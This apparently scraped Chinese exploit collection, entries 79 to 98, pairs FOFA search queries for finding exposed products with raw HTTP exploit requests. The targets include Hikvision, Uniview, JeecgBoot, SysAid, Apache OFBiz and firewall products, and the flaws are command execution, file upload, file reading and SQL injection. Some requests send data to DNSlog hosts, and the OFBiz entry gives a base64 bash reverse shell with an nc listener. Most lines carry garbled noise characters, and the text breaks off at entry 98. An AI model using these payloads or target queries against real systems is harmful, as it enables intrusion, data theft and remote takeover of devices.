* H8 L, T' \& R% i/Applications/SkillDevelopAndEHS/3 G5 E4 n# W0 p5 g: t" F. {* c
------YsOxWxSvj1KyZow1PTsh98fdu6l--. `9 u9 m1 k% n1 ` n! p: Z; }6 |
) m) _; T" _7 F# B2 H7 m! C- Y# f F2 `( E
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1/ X d, W( c1 ], R. {
Host: x.x.x.x0 ~7 J: m( i9 x9 ]! X: [( y3 v1 u4 I
- [0 ^" D4 [/ K/ S0 _
) t* B |9 g3 ^: J: a6 f6 [/ j' D79. BYTEVALUE 百为流控路由器远程命令执行' U. a( ~2 b8 Q5 e* o/ c
FOFA:BYTEVALUE 智能流控路由器0 u! `+ l8 o; k7 d% Q! h& e
GET /goform/webRead/open/?path=|id HTTP/1.19 z7 ^0 H: C1 w2 z; L
Host:IP) h% l* t+ u1 V: d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.07 y2 a% q& e, z, ^! `; c7 ?
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8; m7 i- q' t- e! V* s
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 G+ Y' \' J. W7 ?, \! u% N$ ?% ZAccept-Encoding: gzip, deflate+ p4 z3 ?0 q3 o4 r
Connection: close" ~% T0 D! n) y5 _2 o1 i
Upgrade-Insecure-Requests: 1
5 ^- T& C5 k' V/ t# P
2 E, o3 C: d% Q5 w& j: T2 A1 ^! F! n: G* M8 N8 \
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- D1 }$ y- x/ x$ I$ Y# hFOFA:app="速达软件-公司产品"6 L1 u$ b5 U( B J: M
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
: P. t% l7 w. V2 MHost: x.x.x.x
' Y- e4 }( G5 G4 z! {! }* hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
} X# y, O) u4 |" L1 E6 ^. tContent-Length: 27
0 r" G$ i& H. AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8; K* M. o6 i' r0 j
Accept-Encoding: gzip, deflate
- n! l8 p* S L4 k3 [6 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2: e; ?+ l/ q1 [7 m, I0 |8 f
Connection: close) [3 H$ K a% T" B" h5 J3 _
Content-Type: application/octet-stream7 n! {4 L' l: t/ ?3 v! |$ T' n$ h
Upgrade-Insecure-Requests: 1
% ^( ~' l9 \; R( {8 _4 o+ I9 ~( ~& w2 ]2 _9 z" w
<% out.print("oessqeonylzaf");%>; o$ s6 A0 p( _+ Y0 \1 W! I
$ x& _, h& |6 P% p1 {
. W. q+ o6 x' e2 M- Q
GET /xykqmfxpoas.jsp HTTP/1.1
; l S0 ^3 I2 k( YHost: x.x.x.x
5 Z( f4 K# z/ Z* ]2 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! G" N( P7 R/ S+ f- h& WConnection: close
" \& x ]* B7 V- _Accept-Encoding: gzip
6 g/ v1 Q% V, A* c# A/ X. J/ Q
! j. E1 H W/ X# E* d* }8 u
& }8 |2 B& ^- u5 {2 C81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露1 I; Q1 i. `+ H
FOFA:app="uniview-视频监控"
( o$ W' P$ C& {: ~GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1& E6 s) t! Q% w& ~, z+ n `
Host: x.x.x.x) ~+ T4 {; G! F! q1 Z% y
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.156 z3 j3 T0 S6 J6 D
Connection: close Q: z; X8 A: |% K* \) L$ S: [
Accept-Encoding: gzip0 N. {/ H% Z& U+ Z9 X# p& p- W5 F0 C
) E9 U0 Q! i# i H' v/ V
4 h! _, A8 z- E2 J8 y3 F& x82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行/ F; h0 m9 Y/ ~- W8 B: y/ G J
FOFA:app="思福迪-LOGBASE"& i Z4 ^! K4 \" |9 F
POST /bhost/test_qrcode_b HTTP/1.1! W( ~3 G$ x H, n8 k
Host: BaseURL
2 e, o2 c1 Q wUser-Agent: Go-http-client/1.1* k) q9 T* G- E9 g; q
Content-Length: 23
# U2 I" C z7 {. _. k5 |$ |Accept-Encoding: gzip
. s. P4 S- k, }. G; WConnection: close
' f/ g' S4 W7 m" }8 |Content-Type: application/x-www-form-urlencoded1 z" Z0 a: }2 n4 N
Referer: BaseURL* d/ r! J: b2 B, q
" `) C n* ~ F# Z& Q8 @
z1=1&z2="|id;"&z3=bhost
6 Q' f& o8 ^. S* M9 C' Q0 Q* K& p1 d2 f- u' j+ _
1 e# w9 W0 Z/ Q+ u4 I% Y
83. JeecgBoot testConnection 远程命令执行! K8 x @/ q! F0 y. c. g
FOFA:title=="JeecgBoot 企业级低代码平台"
$ |3 i4 w. y4 d" s- c- ]# U9 @* {; l7 n W; q6 _
& Z, [3 W3 ?0 K) v9 g
POST /jmreport/testConnection HTTP/1.1
; r- ^) V- E U2 F2 f8 dHost: x.x.x.x \6 m) h5 T5 m C
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.153 ~& Z5 g9 `2 Z6 h) f
Connection: close
X5 X5 M8 s; g+ U0 r: rContent-Length: 8881
7 ], z9 i: I7 F6 s$ EAccept-Encoding: gzip5 P1 u Q W& I* ?
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
: T! M7 q; ?8 x& m4 m# rContent-Type: application/json
7 H. \$ r4 ~: v1 v4 D+ S! K+ T! k0 I1 Y: h; g' a2 b
PAYLOAD% W2 f9 G8 c3 n2 c# ]% V
/ L( K8 I* M2 T4 u84. Jeecg-Boot JimuReport queryFieldBySql 模板注入/ U7 O S+ l( y+ } P
FOFA:title=="JeecgBoot 企业级低代码平台"
% n }+ Q+ A9 Z. H( d9 I" ]+ o* Q4 _7 k8 [
% X, Z. E S3 @/ \( S1 `1 D% X( T
; }2 z! K+ i1 c
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1$ Y& h* X% v1 z2 G
Host: 192.168.40.130:8080
2 t; N. P- ]6 u( H- E- ZUser-Agent: curl/7.88.17 y6 P/ z( i* T% ^
Content-Length: 156
# v7 B0 |7 |' J# Y$ s. X" ZAccept: */*
" z% y& p* r* A. DConnection: close
+ O4 B+ Z$ ?7 R" }3 jContent-Type: application/json
2 N6 Z' U! ^0 H/ FAccept-Encoding: gzip
/ t7 a( g X, }4 X% z* |& c2 M9 H* H
{. K8 h+ f4 Y: p6 _- n
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
7 C7 T/ S8 H: V7 I3 r" G6 d "type": "0"' d, w$ k% z. c3 U+ {" M# o. Z
}7 w+ Q& W& ], l
( }! B9 y% ?! Q0 W) }) f. C" y* t. s) a) A- G4 K) J
85. SysAid On-premise< 23.3.36远程代码执行
! f% f$ H* N7 G$ L" QCVE-2023-47246
# H- a! Q }+ ?6 ^$ EFOFA:body="sysaid-logo-dark-green.png"
! b. u; Y8 b3 q2 |3 K, BEXP数据包如下,注入哥斯拉马5 c; t# H+ T1 b' V- D$ V# U: D
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1# T) o: ~: M4 q+ L2 P! Z
Host: x.x.x.x) ?3 G, S7 x; H/ N. R: k" k) k
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& [) z5 ^+ Y) x# R* BContent-Type: application/octet-stream. E7 _$ H$ g& V, W
Accept-Encoding: gzip
, y2 ]5 q6 @$ G
2 y5 c# W: b( J. r) h1 m, dPAYLOAD6 J" S: `! o v( _5 N/ c
/ r8 p6 Z8 N6 D# U# p" \回显URL:http://x.x.x.x/userfiles/index.jsp
" D" R1 v$ E! e$ U: [0 D
, w O+ [. {( u: h( {8 Y/ r% e86. 日本tosei自助洗衣机RCE9 ^) q0 t# u7 u; ]4 S
FOFA:body="tosei_login_check.php"7 g% k* s! }. K& O$ P5 B
POST /cgi-bin/network_test.php HTTP/1.1+ f4 @: M L; s( W0 z
Host: x.x.x.x
5 o! {2 S6 V' l. r7 [+ x7 J7 E7 k4 VUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" X6 U t/ o/ A5 x
Connection: close
7 W" I" p" E# ~7 p0 K6 U( A: aContent-Length: 44
) X! G2 [( ^8 q& I& k* j3 O H0 O3 h9 hAccept: */*
6 S6 a' L5 G) f) vAccept-Encoding: gzip% j+ h7 r0 f& U
Accept-Language: en* _# L0 ]6 _, O& \
Content-Type: application/x-www-form-urlencoded/ ^' T' y! j% v2 G" m0 H4 f) T7 z, }
# B" S6 k/ s& O3 N' ^6 m, B: chost=%0acat${IFS}/etc/passwd%0a&command=ping, s Z* C" y2 k- n, f/ `
4 F* G% R% B1 G% x7 ^
9 I$ V0 T/ X& v
87. 安恒明御安全网关aaa_local_web_preview文件上传
0 L2 k3 ?# [2 q- hFOFA:title="明御安全网关"
2 G% Z2 R) V A* [1 bPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1. P9 J Z* C! z* s8 O3 p4 X
Host: X.X.X.X1 ^+ `- j/ w1 o' G
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15/ V! c- a' n% W2 g1 K7 F
Connection: close
# j3 H- N/ `. \! ]$ _8 e: tContent-Length: 198) W* D4 b$ u* a8 `4 u0 G0 L& M
Accept-Encoding: gzip5 r2 }7 ]+ T' J; X) f
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd: I4 g; S3 I+ [5 k ^! Z! b
6 I$ a' X2 Y* y" c- w--qqobiandqgawlxodfiisporjwravxtvd
3 e! m4 A! r3 J6 G8 `' ^: { a5 XContent-Disposition: form-data; name="123"; filename="9B9Ccd.php" ?( c6 {- w. [6 @ e+ m: Q( x
Content-Type: text/plain
+ e2 Q! W P. w) ]
+ ]7 z6 m6 @7 x8 t2ZqGNnsjzzU2GBBPyd8AIA7QlDq, q) I2 F9 D, v% P
--qqobiandqgawlxodfiisporjwravxtvd--( p$ V+ t$ P4 H9 s9 W. H. N
. f: K* y# F, p$ O% f0 v8 A' A5 J4 `! k5 O" ^
/jfhatuwe.php+ C) I6 S) `# J! s2 y
8 j7 P4 n+ o: Z7 V. x, R88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行3 M+ o- x" M! ~ c
FOFA:title="明御安全网关"
: q: J+ W8 p, A2 JGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
7 |9 o( y9 b# X8 I0 ^Host: x.x.x.xx.x.x.x. Z. u* Z3 L1 s6 y& u
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15' T$ e) z m2 T4 s- T. j
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8- W3 G6 T; `, b v5 Z; R
Accept-Encoding: gzip, deflate' `3 S9 |! D8 ~. a0 Z4 ]$ r
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 s& r% h5 ?& DConnection: close
) {# `9 t: g: F1 g( J4 ^( W1 E( w9 o7 [' Y( r- ^" E- m! j% h
" j2 e* i" V. S- K2 R" M4 P
/astdfkhl.php
' A2 G- M, K& t9 g1 Q' [6 f! Q$ G8 T( N! }% E2 t0 B
89. 致远互联FE协作办公平台editflow_manager存在sql注入7 L1 A6 e6 \, a
FOFA:title="FE协作办公平台" || body="li_plugins_download"( t) E% L' n( {( _# ?
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
. @( p& {. Z8 l+ U% I+ NHost: x.x.x.x( _2 {6 R% E7 U% d( _
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
r1 f0 \$ B- j6 Z4 a% gConnection: close4 Y0 m4 p( P$ B8 S5 Q
Content-Length: 41& F' K+ ~. D ?9 K) {% `7 a& X
Content-Type: application/x-www-form-urlencoded2 q& \* j. W, n: I# c0 `
Accept-Encoding: gzip4 s3 b# n; |. t/ {3 L7 w9 Q7 U
) k# {% |% t1 hoption=2&GUID=-1'+union+select+111*222--+3 c, b# k8 H( C# y# U7 ~
$ |5 h, K+ d6 q7 C& \" Z
4 D8 h m5 `9 X
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
8 f0 Y0 J( F% x8 W0 Y c' EFOFA:icon_hash="-1830859634"3 o/ S8 W+ u5 `0 U" t
POST /php/ping.php HTTP/1.1
5 |: l, I; f! x; w2 m+ U- hHost: x.x.x.x
$ u+ r0 @7 |* S1 j1 r; ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0+ m1 r3 B6 s) \2 u* }& w( E5 T
Content-Length: 51
; O$ f" C2 ^" D& cAccept: application/json, text/javascript, */*; q=0.011 F/ }3 M0 _ J5 t8 C) t1 g/ q
Accept-Encoding: gzip, deflate3 l. X/ j1 K+ n6 ^8 m8 h% G
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.22 }( B$ n# T" j% b; N
Connection: close( g/ A, m1 h/ ^& ]7 V2 j" K0 Q
Content-Type: application/x-www-form-urlencoded
! J/ |3 D1 m4 \: e1 y) Q) TX-Requested-With: XMLHttpRequest
# ]. `; r7 R/ |7 R# I) r4 q0 P( M
: p8 C K: K, c8 gjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig- z. o3 t; _6 Y; q* a$ P+ t8 t; Q
& }4 B5 R$ L+ C, w i5 F
% S _( n6 f& _4 V) }5 A91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取: [: E$ v3 ` P; Q! i3 G8 X! ^
FOFA:title="综合安防管理平台"4 i' m& H D1 \- E+ i
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1- M( C* ~6 O8 H6 O& i! \
Host: your-ip
0 ?5 z- m% q2 `& zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36$ O# F# e* Q) f0 }) e |' t
Accept-Encoding: gzip, deflate" z4 n. U9 h" x' H
Accept: */*
/ Z6 E5 y9 M5 B4 t2 A2 _Connection: keep-alive
4 {6 q( }8 }% ?: @' d+ S) e6 B `0 i- h M. k: f" s4 I
; ^, K% `1 s. [! f8 E& n) D
9 @# A8 X, s- \- o/ L, M: |92. 海康威视运行管理中心session命令执行1 E9 A! L6 w5 i- t2 Q
Fastjson命令执行$ ^2 m7 i4 W7 Q; K
hunter:web.icon=="e05b47d5ce11d2f4182a964255870b76"
S9 ]5 X* i' U7 | R( j' O7 bPOST /center/api/session HTTP/1.1* b+ Y/ ?$ B: `& K- P
Host:2 `5 h# g5 d+ ~8 i- W' i
Accept: application/json, text/plain, */*
% A+ y; q! ~8 _" K# D; i* bAccept-Encoding: gzip, deflate/ N' P4 `* S! R, ~
X-Requested-With: XMLHttpRequest
4 [9 v/ c* @6 ^5 ~, `1 }2 RContent-Type: application/json;charset=UTF-8
- ~" U* @! l3 L: DX-Language-Type: zh_CN2 a- N# V+ W: E1 A3 R& Q+ G
Testcmd: echo test
3 p7 ^' q3 U* q' ]4 R! dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
/ N, I' S6 V9 M4 cAccept-Language: zh-CN,zh;q=0.9% k! L! G; W* p" [
Content-Length: 5778
; a0 S' S3 z7 I9 G# Q3 _7 W1 L
8 y2 \) d$ _' q, APAYLOAD- X; n& t. T* S* {
8 d; c6 x; ~/ l$ g: u
6 V6 L: @. U" M+ f U# O93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
5 h( g' E9 D* h* H7 a# z; }( W7 XFOFA:fid="1Lh1LHi6yfkhiO83I59AYg=="9 h! [/ m! k' Y0 ^
POST /?g=app_av_import_save HTTP/1.16 D: L q: n5 s% B6 g. ?
Host: x.x.x.x+ S( t/ K. d( [# x/ k; f
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
1 F. c) L* Z- `& j0 s6 RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- I8 K3 w6 M( s v% C* `: Y" j$ z! y6 D6 W
------WebKitFormBoundarykcbkgdfx( J7 p/ L% L' |, b) [1 X/ E5 n
Content-Disposition: form-data; name="MAX_FILE_SIZE"4 D' G; @9 }7 h* G& E" w8 |
% v; m& h6 j5 I* u$ S10000000
0 O6 Q4 w: O' i9 `6 h------WebKitFormBoundarykcbkgdfx
( f# u- n8 E0 z3 d& C8 cContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"2 j" B2 {2 e6 q4 K; M; w0 m
Content-Type: text/plain
+ C/ b( _+ X' J# H5 R6 W, C0 e ? }' ?8 H- I& f2 Z6 Z
wagletqrkwrddkthtulxsqrphulnknxa) B7 p, O! C4 I: e
------WebKitFormBoundarykcbkgdfx
3 T( _* Q e( i+ w* eContent-Disposition: form-data; name="submit_post"
9 U" d9 t) ^/ L' Z8 `- g3 m6 j3 C7 H5 t7 s7 ^' a8 n
obj_app_upfile4 s" Z9 [5 h# U) J$ R; K M
------WebKitFormBoundarykcbkgdfx3 V, @+ {& r6 J4 l& h/ M$ y
Content-Disposition: form-data; name="__hash__"
# m1 H7 y/ J+ O
: U- J7 N8 N- Z3 D0b9d6b1ab7479ab69d9f71b05e0e9445
2 x( X. ?) f% t------WebKitFormBoundarykcbkgdfx--
" @# J% x% K3 @/ D: h; [; F
% n* r( X: j$ B# H* j; D# I8 H( I' q! W* c3 w, j
GET /attachements/xlskxknxa.txt HTTP/1.1
( _7 Z4 _3 w! |: a+ NHost: xx.xx.xx.xx
* s, ^3 V. f! _! H9 \: S7 NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 k, d- r7 {/ `1 ^0 \
: S) ^( y0 [6 h: A' {- O0 U0 r$ t7 S$ F! v- B. j( U' Q# E; x$ N
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传! x4 s% T7 G: F3 y
FOFA:fid="1Lh1LHi6yfkhiO83I59AYg=="
9 Z7 _7 L. R' Q2 uPOST /?g=obj_area_import_save HTTP/1.11 f! W0 o6 o% B$ T m+ t1 j1 b
Host: x.x.x.x0 v2 f* }0 l! d5 z `" C
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
. V9 j9 j* j/ L8 |8 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( x+ G2 R g2 [ o. x
. `6 z9 y0 c6 Y, x, F$ Y------WebKitFormBoundarybqvzqvmt, ^) L4 |4 X. Y! ~# r1 K2 H
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1 s6 Y1 K8 b% Q% j# P6 l
7 q7 }6 `1 h' {+ m0 |100000005 `0 C2 ~9 z" H6 y; S1 b9 i
------WebKitFormBoundarybqvzqvmt4 ?, L2 t$ l! P/ c7 }. y8 u
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
$ i9 o y7 H' @; L3 G4 n+ P3 ZContent-Type: text/plain
! v$ Q% c$ H5 ]5 a1 ?3 _+ D9 W M2 _# n, S6 ^0 x% ^* J
pxplitttsrjnyoafavcajwkvhxindhmu. j5 v" ?6 u4 _* W' K1 `
------WebKitFormBoundarybqvzqvmt
# v" e/ w3 ^, s; Z. X. w6 J4 o: zContent-Disposition: form-data; name="submit_post"9 P/ |$ E6 J. k" u) ~. z% {$ j
) S1 l2 \, b! U& pobj_app_upfile
; T) Q5 ^! b5 f2 ^2 ~) @------WebKitFormBoundarybqvzqvmt- Q* U% q8 q1 H, D& c. N/ m7 {
Content-Disposition: form-data; name="__hash__"
( I" e4 \& H5 |7 C0 ]: s% _" L
. P" p3 Y, B2 D1 e1 x0b9d6b1ab7479ab69d9f71b05e0e9445 L: N6 L: {; O y/ M
------WebKitFormBoundarybqvzqvmt--( }- E+ P/ ]( Z
! H& ]. j/ I- J9 ]# ^
0 g+ j# h3 o1 `" d1 |- g, ~3 [+ V' U. b
GET /attachements/xlskxknxa.txt HTTP/1.1
/ Y B; Q/ K7 [* I R9 h- dHost: xx.xx.xx.xx
2 D. l9 l# e) E, A3 _. h9 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) q7 P0 C% R& E9 a7 g7 w
, O& t/ `/ J4 @0 K: o! l# K
; O$ Z7 T! Q( _5 X# S$ ^' D0 l: g) b: g% ^ i. b+ c! ?$ e
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行! r7 J& d' p- t. e
CVE-2023-49070* v2 p/ w2 M, [; Q
FOFA:app="Apache_OFBiz"1 }( \" B3 h. o8 L; D6 y: z
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
7 }" [4 P' S+ W- [Host: x.x.x.x
4 Z2 P1 _/ t. G5 N. c/ yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" i, S2 C# J/ Z H, R5 ?; B1 p* [4 y: I
Connection: close+ \6 q/ H% E5 u. p8 p
Content-Length: 889
3 u4 ^- J1 ~& {7 iContent-Type: application/xml* A8 T) t6 r( }- c7 f
Accept-Encoding: gzip
# V: h4 t$ b a& d+ |$ Z$ g, Z: U5 j5 h! Y; H3 J
<?xml version="1.0"?>) o- B5 }6 F( \+ E7 Z5 u
<methodCall>
9 I5 L& y) e( n2 ^# n <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
4 @1 R9 u( _5 p l' c5 e: c <params>6 |% z3 W+ u! e# y4 d2 P, _% H* c
<param>
/ l; n/ ^; D+ m5 k <value>
" ^8 W7 Y) a: n) \! F <struct>: C0 s% U' l9 I
<member>) T% g# z: ], e& x% T$ D
<name>test</name>
" U" ^% A3 G8 o <value>
7 Y8 g) j% G7 z# T& w* H; u <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>( e1 X1 Z6 g) G! K
</value>
5 p7 @5 V( N- R, t9 x </member>
d, Y& {& y2 S7 y </struct>
! E6 C! h% {2 q2 G: ^( l </value>
# [; L U: }# e% ]" Q& ]! y7 f </param>; |7 C# d$ J$ c
</params>
# A9 I/ i8 @( Q, y) d, @+ V+ s# w</methodCall>( J7 [- {3 H5 Y
3 Z0 @8 `+ j+ A# ]
X" w: g) |6 k; y用ysoserial生成payload' d( R: \6 K9 B# p- C9 m
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"4 q) ]- Z- _) p2 D6 P
8 h9 t; Z# Y5 g* q
5 v# r! C; M% k6 e# X* h将生成的payload替换到上面的POC
+ x! n! C+ f+ h" Y4 y# a% ~POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1& }2 Y& q+ D: x9 A: w7 w2 P. m
Host: 192.168.40.130:8443
: @/ Z3 H+ N9 g9 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36. e8 G# w$ w$ G! l5 { Z
Connection: close( G. h6 G$ s+ m1 k/ Q: A
Content-Length: 889
9 C5 v" `0 k7 l' q* A, r, HContent-Type: application/xml
: o4 M# f1 e8 p VAccept-Encoding: gzip
" d! F% p; z; W' i# O
( ?; P" p" \; A1 fPAYLOAD5 s* G3 M* s, r" c2 u
% t. V4 x# H! Z- @( I! H3 H96. Apache OFBiz 18.12.11 groovy 远程代码执行2 D: q1 n& C7 s$ g
FOFA:app="Apache_OFBiz"& i* T5 h8 [6 e8 b$ _$ o
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
. B( L$ b2 {' l* kHost: localhost:8443
5 g0 z/ n; t7 g/ u" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0; u$ ~; N: D: Y" `' j0 h7 u& Y2 j- h
Accept: */*
3 N. E$ G! Q9 F% |- r: Z! F( d; dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" C( C! y; Y1 }Content-Type: application/x-www-form-urlencoded+ M" j' l* N1 _$ R0 l7 J& E% b1 l4 p8 f
Content-Length: 55" b* p4 @# v# [, f/ [. D
- b, }( m+ Q6 a# ~% W
groovyProgram=throw+new+Exception('id'.execute().text);, y8 {5 P8 y6 ~2 G9 w
7 ]2 V3 D2 }4 R' D
; i O8 _* l! P反弹shell
v% L% F z/ q/ e0 ?1 n在kali上启动一个监听# |8 o, v& G1 Y- C& }
nc -lvp 7777/ }; n) a: @+ J$ f" i% U8 u" X
( c J) L8 }3 ?! ~6 j$ A, ~' c; @POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 R0 j0 i( z) n( E: [. qHost: 192.168.40.130:8443( A( I4 |2 O9 t" |( t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( T/ D% E7 {; QAccept: */*
8 q Q" P/ J( h1 R- WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 t8 f) Q$ L- O" G4 {6 X3 ~) fContent-Type: application/x-www-form-urlencoded, A6 Y1 K/ c. A
Content-Length: 71
0 A: I6 {# X+ W( m6 F
8 L0 [0 I9 U& {7 O7 agroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();- v% J% D7 }/ h
$ J8 J$ m8 q* d1 O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
- S* ]1 X9 e; n: E8 BFOFA:body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
8 C/ j: t' H% z# }* s `3 lGET /passport/login/ HTTP/1.1
) H9 p3 v t/ |/ Q+ E' U" OHost: 192.168.40.130:8085
4 `" [- P, u4 x3 w* y* [# M/ [. gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.157 G; \" z0 e( T" k
Accept-Encoding: gzip: d& X8 C1 W& K& A2 Z/ S
Connection: close
. v7 s X2 N& Y, MCookie: rememberMe=PAYLOAD
* t) T/ o) A7 e* `. PX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"! N! I( E R7 {# S3 `
* l& }) c& |: w2 n* A8 _9 i# I+ @
* y% J' ?+ j+ U2 r9 j98. SpiderFlow爬虫平台远程命令执行
) ]$ E( Q% Y) M' x& _, `CVE-2024-0195
1 v2 u, B7 w- ]; a. HFOFA:app="SpiderFlow"( ]0 {6 Z j. ?; N$ Y
POST /function/save HTTP/1.18 r+ \# w% k5 T! L5 S5 j5 M
Host: 192.168.40.130:80882 {' u& P) ^% }" R
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 N, Y' ?0 i: T5 o3 N- P+ c/ RConnection: close' R+ W& g9 P- q$ y! p4 Y
Content-Length: 121# Z+ V' H9 s/ F' y9 _4 {: W
Accept: */*0 w0 h6 g5 G( f) s6 ?4 |
Accept-Encoding: gzip, deflate$ v- I+ y. R$ f& b% O
